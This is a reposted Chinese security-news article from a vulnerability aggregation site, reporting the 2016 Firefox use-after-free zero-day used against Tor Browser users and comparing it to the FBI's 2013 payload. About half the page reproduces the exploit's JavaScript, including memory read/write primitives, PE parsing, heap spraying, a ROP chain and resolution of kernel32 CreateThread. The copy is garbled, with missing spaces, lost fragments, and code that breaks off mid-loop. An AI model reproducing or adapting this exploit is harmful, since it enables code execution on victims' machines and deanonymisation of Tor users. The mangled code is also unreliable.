CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 漏洞列表
  3. 正文

firefox tor

2018年11月23日 568点热度 0人点赞 0条评论

firefox tor
FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
快讯:黑客正在利用Firefox的0day漏洞攻击Tor用户(含Exploit) Alpha_h4ck2016-12-04共222452人围观 ,发现 8 个不明物体 终端安全资讯
根据最新的消息,安全研究专家发现了一个0day漏洞,攻击者或可利用该漏洞在Tor和Firefox浏览器用户的计算机中执行恶意代码。

Clipboard Image.png

就在几天前,Tor官网上首次出现了关于一个未知的Firefox漏洞的消息。其中包含有数百行的漏洞利用代码(JavaScript),攻击者可以利用这份代码来攻击Tor浏览器的用户。Tor项目的联合创始人RogerDingledine也证实了该漏洞的真实性,并且表示Mozilla的工程师们正在努力开发针对该漏洞的修复补丁。

安全研究专家在对代码进行了分析之后表示,攻击代码利用了一个内存崩溃漏洞,该漏洞将允许攻击者在运行了Windows操作系统的计算机中执行恶意代码。

想必各位都知道,2013年美国联邦调查局曾经利用了某种技术成功找出了那些利用Tor匿名服务来访问儿童色情网络的用户,而根据一位独立安全研究人员(@TheWack0lian)的分析报告,此次的恶意Payload与2013年FBI所用的Payload几乎是一样的。

TheWack0lian在接受采访时表示:“此次的漏洞利用代码与2013年FBI所用的几乎是一样的,它用来执行恶意代码的漏洞也与2013年Tor浏览器中的漏洞几乎相同。其中的大部分代码都是一样的,只有一小部分改变了。”如果同学们对2013年的那次攻击事件感兴趣的话,可以参阅这份报告【点我获取】。

根据另外一位安全研究人员(JoshuaYabut)的分析报告,攻击者利用了一个所谓的用后释放(UAF)漏洞,该漏洞需要使用JavaScript来触发。Yabut表示,攻击者可以通过这段漏洞利用代码攻击Windows系统,漏洞利用代码可以根据目标Firefox浏览器的版本来调整payload的内存位置,而且远程代码执行的成功率为100%。这也就意味着,攻击者在开发这段漏洞利用代码时进行了非常广泛的测试,并以此来确保攻击代码可以在多版本的Firefox浏览器中正常运行。除此之外,漏洞利用代码还会直接调用kernel32.dll(Windows操作系统的核心部分)。

Clipboard Image.png

Mozilla的官方发言人表示,公司已经得知了关于该漏洞的详细信息,相关的技术人员正在努力修复该漏洞。考虑到目前这个漏洞的影响范围,再加上漏洞利用代码已被公布出来,受影响的用户数量可能还会继续增加。因此Mozilla也建议用户在可用的更新补丁发布之前,先暂时选择使用其他的浏览器。如果用户仍然想使用Firefox的话,至少应该禁用访问网站的JavaScript脚本。除此之外,用户也应该停止使用Tor。

漏洞利用代码
下面这段JavaScript代码就是攻击者用来攻击Tor浏览器的漏洞利用代码。它由一个HTML页面和CSS文件构成,具体如下所示。虽然代码的具体功能目前尚不清楚,但是它可以直接访问Windows操作系统的kernel32.dll。

HTML:

cssbanner.js:
self.onmessage =

function(msg) {

thecode = msg.data;

var pack = function(b) { var a = b >> 16; return String.fromCharCode(b

& 65535) + String.fromCharCode(a) };

function Memory(b,a,f)

{

this._base_addr=b;

this._read=a;

this._write=f;

this._abs_read =function(a) {

a >=this._base_addr ? a = this._read( a - this._base_addr) : (

a = 4294967295 - this._base_addr + 1 + a, a = this._read(a));

return0>a?4294967295+a+1:a

};

this._abs_write= function(a,b) {

a >=this._base_addr ? this._write(a - this._base_addr, b) : ( a

= 4294967295 - this._base_addr + 1 + a, this._write(a,b) )

};

this.readByte =function(a) {

returnthis.read(a) & 255

};

this.readWord =function(a) {

returnthis.read(a) & 65535

};

this.readDword =function(a){ return this.read(a) };

this.read =function(a,b) {

if (a%4) {

var c =this._abs_read( a & 4294967292),

d =this._abs_read( a+4 & 4294967292),

e =a%4;

returnc>>>8*e | d<<8*(4-e) } returnthis._abs_read(a) }; this.readStr =function(a) { for(var b ="", c = 0;;) { if (32== c) return ""; var d =this.readByte(a+c); if(0 ==d) break; b +=String.fromCharCode(d); c++ } return b }; this.write =function(a){} } function PE(b,a) { this.mem = b; this.export_table = this.module_base = void 0; this.export_table_size = 0; this.import_table = void 0; this.import_table_size = 0; this.find_module_base = function(a) { for(a &=4294901760; a; ) { if(23117== this.mem.readWord(a)) return this.module_base=a; a -= 65536 } }; this._resolve_pe_structures = function() { peFile =this.module_base + this.mem.readWord(this.module_base+60); if(17744 !=this.mem.readDword(peFile)) throw"Bad NT Signature"; this.pe_file= peFile; this.optional_header = this.pe_file+36; this.export_directory = this.module_base+this.mem.readDword(this.pe_file+120); this.export_directory_size = this.mem.readDword(this.pe_file+124); this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128); this.import_directory_size=this.mem.readDword(this.pe_file+132)}; this.resolve_imported_function=function(a,b){ void0==this.import_directory&&this._resolve_pe_structures(); for(var e=this.import_directory,c=e+this.import_directory_size;e>2)+i] = d;

d=(b+4>>2)+e;

c[d++]=g;

c[d++]=a+(b+4*e+28);

c[d++]=a;

c[d++]=4096;

c[d++]=4096;

c[d++]=64;

c[d++]=3435973836;

return c

}

}

var conv=newArrayBuffer(8),

convf64=newFloat64Array(conv),

convu32=newUint32Array(conv),

qword2Double=function(b,a){

convu32[0]=b;

convu32[1]=a;

returnconvf64[0]

},

doubleFromFloat= function(b,a) {

convf64[0]=b;

returnconvu32[a]

},

sprayArrays=function() {

for(varb=Array(262138),a=0;262138>a;a++)

b[a]=fzero;

for(a=0;aj;j++)

spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);

spr[i][offset+(o3+8)/8]=qword2Double(0,0);

spr[i][offset+(o5+0)/8]=qword2Double(arrBase+o11,0);

spr[i][offset+(o7+168)/8]=qword2Double(0,3);

spr[i][offset+(o7+88)/8]=qword2Double(0,2);

break

}

for(;memory.length==len;);

var mem=newMemory(memarrayloc+48,

function(b){return memory[b/4]},

function(b,a){memory[b/4]=a}),

xulPtr=mem.readDword(memarrayloc+12);

spr[arr_index][arr_offset+1]=ropArrBuf;

ropPtr=mem.readDword(arrBase+8);

spr[arr_index][arr_offset+1]=null;

ropBase=mem.readDword(ropPtr+16);

var rop=newROP(mem,xulPtr);

rop.ropChain(ropBase,vtable_offset,10,ropArrBuf);

varbackupESP=rop.findSequence([137,1,195]), ropChain=new

Uint32Array(ropArrBuf);

ropChain[0]=backupESP;

CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");

for(vari=0;i

标签: 暂无
最后更新:2018年11月23日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me